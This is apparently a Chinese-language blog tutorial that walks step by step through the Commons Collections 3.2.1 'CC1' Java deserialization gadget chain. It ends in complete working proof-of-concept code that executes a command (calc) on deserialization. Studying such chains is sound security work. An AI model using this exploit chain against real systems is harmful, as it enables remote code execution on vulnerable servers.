文章目录
- 背景
- 环境以及配置
- 分析
- 0x1 终点(利用点分析)
- 0x2
- 0x3
- 0x31
- 0x32
- 0x33
- 0x04
- 0x05
背景
Apache Commons Collections是Apache提供的一个Java库，它扩展了Java自带的集合框架。通过这个库，咱们可以使用更多种类的集合类型，以及各种实用的集合操作工具。这些功能在标准Java库中往往是缺失的，或者实现起来比较繁琐。
commons-collections 组件反序列化漏洞的反射链也称为CC链，本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链，这条攻击链被称为CC1链(国内版本的)。
环境以及配置
- JDK-8u65 （因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本
- CommonsCollections <= 3.2.1
Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn)
通过配置Maven依赖下载 CommonsCollections3.2.1版本
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
因为jdk自带的包里面有些文件是反编译的.class文件(比如说这里的 sun 包），我们调试的时候没法清楚的看懂代码，为了方便我们调试，我们需要将他们转变为.java的文件，这就需要我们去 openjdk 安装相应的源码（可以自行了解一下 oraclejdk 和 openjdk 区别与联系）:
jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)
下载好压缩包之后解压，拷贝 /src/share/classes下的sun文件夹，进入到相应JDK的文件夹中，里面本来就有个src.zip的压缩包，我们解压到当前文件夹下，然后把我们拷贝的 sun 文件夹粘贴到 src 文件夹中去
idea 打开项目，打开 File -> Project Structure -> Platforms Settings -> SDKs,把src文件夹添加到 Sourcepath 下，保存即可。
分析
0x1 终点(利用点分析)
CC1链的源头就是 Commons Collections 库中的 Tranformer 接口，这个接口里面有个 transform 方法。
ctrl + alt +b 查看哪些类调用了这个接口
进入重写 transform 方法的 InvokerTransformer 类
发现它重写了 Serializable,比较符合我们的要求。看一下构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}
接受三个参数，分别是方法名，方法类型（Class 数组），方法参数（Object 数组）
再来到重写的 transform(
public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var4) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);}}}
参数接受一个对象，然后通过反射机制来调用某个方法执行，我们看构造函数已经发现了参数都是我们可控的，那么不就可以构造任意方法执行了吗？
我们先尝试用这个类的 transform 方法实现计算器的弹出
public static void main(String[] args) {Runtime r = Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);}
可以看到命令成功执行了，我们推链子都是逆着来的，所以现在就相当于找到源头了，接下来就是一步步回溯，寻找合适的子类调用了InvokerTransformer 的 transform 方法，构造漏洞链，直到到达重写了 readObject 的类为止。
0x2
那现在就可以找谁调用了 transform 了，有一点值得注意的是不要去找某个类的 transform 调用了 transform，不然你又得去找谁调用了 transform 了，要找就找不同方法调用 transform。
我们先 find usages 查找都有谁调用了。
看到我们需要的TransformedMap类下的checkSetValue方法
protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}
老规矩先看一下这个类的构造方法。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}
接受三个参数，一个 Map 型，我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了，可控。
特别是第三个参数，我们 checkSetValue return 的就是这第三个参数执行的 transform 方法，所以第三个参数可以传invokerTransformer 对象。
可以看到构造器和方法都是protected权限的，也就是说只能本类内部访问，不能外部调用去实例化，那么我们就需要找到内部实例化的工具，这里往上查找，可以找到一个public的静态方法decorate
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}
它接受了和构造方法一样的参数并且实例化了这个类。
这里有一个小知识 staic 修饰的静态方法可以直接类名 ＋ 方法名调用
那我们可以先调用这个方法，然后实例化这个类，然后再想办法调用checkSetValue方法
Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});Map map = new HashMap();TransformedMap.decorate(map, null, invokerTransformer);
这里的第二个参数没有用到，所以先设置为 null
然后我们就得找 checkSetValue 怎么被调用了。我们发现只有 AbstractInputCheckedMapDecorator 调用了 checkSetValue。而且它是 TransformedMap 的父类
static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}
其副类 MapEntry 里的 setValue 方法调用了 checkSetValue。
MapEntry 继承于 AbstractMapEntryDecorator，AbstractMapEntryDecorator 又引入了 Map.Entry 接口
Map.Entry是Map声明的一个内部接口，此接口为泛型，定义为Entry<K,V>。它表示Map中的一个实体（一个key-value对）。所以用 TransformedMap 的 entrySet() 遍历 Map 的时候就能调用 setValue 方法
Java HashMap entrySet() 方法 | 菜鸟教程 (runoob.com)
所以我们只需要进行常用的Map遍历，就可以调用setValue方法
for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式entry.setValue(r); //调用setValue方法，并把对象r当作对象传入}
Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap map = new HashMap();map.put("aaa","aaa"); //给map一个键值对，方便遍历Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式entry.setValue(r); //调用setValue方法，并把对象r当作对象传入流程就是我们遍历 transformedmap 的时候用的是 entrySet() ， 来自于 transformedmap 父类的 entrySet() ，然后就会进入其父类的副类 MapEntry 下的 构造方法，使每个 entry 这里就是 “aaa”->“aaa” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类，AbstractMapEntryDecorator 又引入了 Map.Entry 接口，所以可以通过遍历调用 setValue 方法，恰巧 MapEntry 重写了这个方法。，而这个重写的方法正好调用了 checkSetValue。
0x3
老规矩，继续查找用法，看看有哪些方法里面调用了setValue并且可以被我们所利用.
好巧不巧 sun 包下的 sun.reflect.annotation 里的 AnnotationInvocationHandler 类就有这个方法
而且还是重写的 readObject 方法调用的
我们依旧看一下这个类的构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}
接受一个注解型的，第二个是个 Map 型的，而且这个 memberValues 会被拿去遍历，所以这个我们就可以传 invokerTransformer 。
注意到这个构造器没有类型，所以默认只能内部调用，那我们只能用 反射 来获取构造方法了。
//反射获取AnnotationInvocationHandler类Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型，第二个就是我们之前的类
//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));oos.writeObject(object);}public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap map = new HashMap();map.put("aaa","aaa"); //给map一个键值对，方便遍历Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);//反射获取AnnotationInvocationHandler类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型，第二个就是我们之前的类try {serialize(c);} catch (Exception e) {e.printStackTrace();}}
没有反应，想要正常反序列化整条链子，我们当下还要解决三个问题
0x31
首先就是 Runtime 这个类它没有 Serialize 接口，不能被序列化
但是 Class 可以被序列化
那我们就可以利用反射来调用 getRuntime 方法从而得到 Runtime 的实例化类
Class c=Class.forName("java.lang.Runtime"); //获取类原型Method getRuntime= c.getDeclaredMethod("getRuntime",null); //获取getRuntime方法，Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象，因为该方法无无参方法，所以全为nullMethod exec=c.getDeclaredMethod("exec", String.class); //获取exec方法exec.invoke(r,"calc"); //实现命令执行
没问题，可以调出计算器c来。现在就重复上面的分析，想办法用 transform + 反射实现计算器的弹出。
我们回想一下之前怎么用 InvokerTransformer 的，利用了 InvokerTransformer 的 transform 里的反射机制
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
上面调用了 r 的 exec 方法，那我们就可以依葫芦画瓢
//先调用 getDeclaredMethod 方法 获取getRuntime方法
Runtime.class -> getDeclaredMethod()
//再调用 invoke 方法获取实例化对象
getRuntime -> invoke()
//获取exec方法，并进行命令执行
r -> exec
Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);Runtime r= (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
但是这样要一个个嵌套创建参数太麻烦了，我们这里找到了一个Commons Collections库中存在的ChainedTransformer类，它也存在transform方法可以帮我们遍历InvokerTransformer，并且调用transform方法:
返回的是执行 transform 后的对象，用在这里刚刚好
Class rc=Class.forName("java.lang.Runtime");
//创建一个Transformer数组用于储存InvokerTransformer的数据，便于遍历
Transformer[] Transformers=new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组，然后调用transform方法，这里对象只需要传一个原始的Runtime就行，因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);
好那么好，我们接下来就和上面一样用 TransformedMap 来调用 ChainedTransformer，用 AnnotationInvocationHandler 触发 TransformedMap
Transformer[] Transformers=new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);HashMap map = new HashMap();map.put("aaa","aaa"); //给map一个键值对，方便遍历Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);//反射获取AnnotationInvocationHandler类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型，第二个就是我们之前的类try {serialize(c);} catch (Exception e) {e.printStackTrace();}
0x32
如果我们把上面的 POC 拿去 序列化还是不行的，还得绕过 AnnotationInvocationHandler 类里面的两个 if 判断
调试一下发现第一个 if 都进不去，这里memeberType是获取注解中成员变量的名称，然后并且检查键值对中键名是否有对应的名称，而我们所使用的注解 Override 是没有成员变量的:
而我们发现另一个注解:Target中有个名为value的成员变量，所以我们就可以使用这个注解,并改第一个键值对的值为value:
map.put("value","aaa");Object o = constructor.newInstance(Target.class,transformedmap);
成功进入第一个 if
再来看第二个 if
memberType.isInstance(value)
isInstance是Class类的一个方法isInstance(Object obj)，obj是被测试的对象，如果obj是调用这个方法的class或接口 的实例，则返回true。这个方法是instanceof运算符的动态等价（memberType，value 是否可以强转
肯定不是啊，直接进 if 里面了
0x33
终于到最后一个问题了，我们传入的value值根本就不是我们需要的 Runtime.class
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
我们最后要的是
chainedTransformer.transform(Runtime.class);
这里就需要ConstantTransformer类，
我们看到这个类里面也有transform，和构造器配合使用的话，我们传入什么值，就会返回某个值，这样就能将value的值转为Runtime.class
再 chainedTransformer.transform(xxx)，时，我们让 transforms 数组第一条是
new ConstantTransformer(Runtime.class)
这样就相当于
ConstantTransformer(Runtime.class).transform(xxx)
然后 transform return 出 iConstan 也就是 Runtime.class，之后 chainedTransformer 继续遍历下去。至此，最后一个问题也解决了。
0x04
完整代码
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(object);}public static void unserialize(String filename) throws Exception{ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {Transformer[] Transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);HashMap map = new HashMap();map.put("value","aaa");Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Target.class,transformedmap);try {
// serialize(o);unserialize("ser.bin");} catch (Exception e) {e.printStackTrace();}}
}0x05
感谢白师傅的讲解以及另外两位师傅的博客
Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
JAVA安全初探(三):CC1链全分析 - 先知社区 (aliyun.com)
Java反序列化：CC1链 详解_cc链-CSDN博客
CC1 链虽然复现起来很困难，而且 java 很多知识也是一知半解。但是行百步者半九十，只要坚持下去就一定会有收获的。
